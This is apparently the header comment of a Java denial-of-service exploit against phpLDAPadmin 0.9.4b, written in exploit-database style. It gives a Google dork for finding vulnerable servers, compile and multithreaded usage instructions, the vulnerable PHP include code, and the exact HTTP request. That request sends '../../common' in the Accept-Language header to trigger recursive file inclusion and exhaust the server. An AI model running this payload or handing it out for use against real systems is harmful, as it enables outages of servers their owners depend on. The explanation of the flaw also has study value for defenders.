/**
 * Exploit Title: phpLDAPadmin 0.9.4b DoS
 * Google Dork: "phpLDAPadmin - 0.9.4b"
 * Date: 2011-10-23
 * Author: Alguien
 * Software Link: http://sourceforge.net/projects/phpldapadmin/files/phpldapadmin/0.9.4b/
 * Version: 0.9.4b
 * Tested on: Red Hat
 * CVE : -
 * 
 * Compilation:
 * ------------ 
 * $ javac phpldos.java
 * 
 * Usage:
 * ------ 
 * $ java phpldos <host> <path> <threads>
 * 
 * Example:
 * -------- 
 * $ java phpldos www.example.com /phpldapadmin/ 10
 * 
 * Explanation:
 * ------------ 
 * The file "common.php" is vulnerable to LFI through the "Accept-Language"
 * HTTP header.
 * 
 * if( isset( $_SERVER['HTTP_ACCEPT_LANGUAGE'] ) ) {
 * 	// get the languages which are spetcified in the HTTP header
 * 	$HTTP_LANGS1 = preg_split ("/[;,]+/", $_SERVER['HTTP_ACCEPT_LANGUAGE'] );
 * 	$HTTP_LANGS2 = preg_split ("/[;,]+/", $_SERVER['HTTP_ACCEPT_LANGUAGE'] );
 * 	foreach( $HTTP_LANGS2 as $key => $value ) {
 * 		$value=preg_split ("/[-]+/", $value );
 * 		$HTTP_LANGS2[$key]=$value[0];
 * 	}
 * 
 * 	$HTTP_LANGS = array_merge ($HTTP_LANGS1, $HTTP_LANGS2);
 * 	foreach( $HTTP_LANGS as $HTTP_LANG) {
 * 		// try to grab one after the other the language file
 * 		if( file_exists( realpath( "lang/recoded/$HTTP_LANG.php" ) ) &&
 * 		is_readable( realpath( "lang/recoded/$HTTP_LANG.php" ) ) ) {
 * 			ob_start();
 * 			include realpath( "lang/recoded/$HTTP_LANG.php" );
 * 			ob_end_clean();
 * 			break;
 * 		}
 * 	}
 * }
 * 
 * This exploit sends "../../common" in the Accept-Language header in order to
 * generate a recursive inclusions and cause a denial of service via resource
 * exhaustion.
 * 
 * GET /phpldapadmin/common.php HTTP/1.1\r\n
 * Host: www.example.com\r\n
 * Accept-Language: ../../common\r\n
 * Connection: close\r\n
 * \r\n
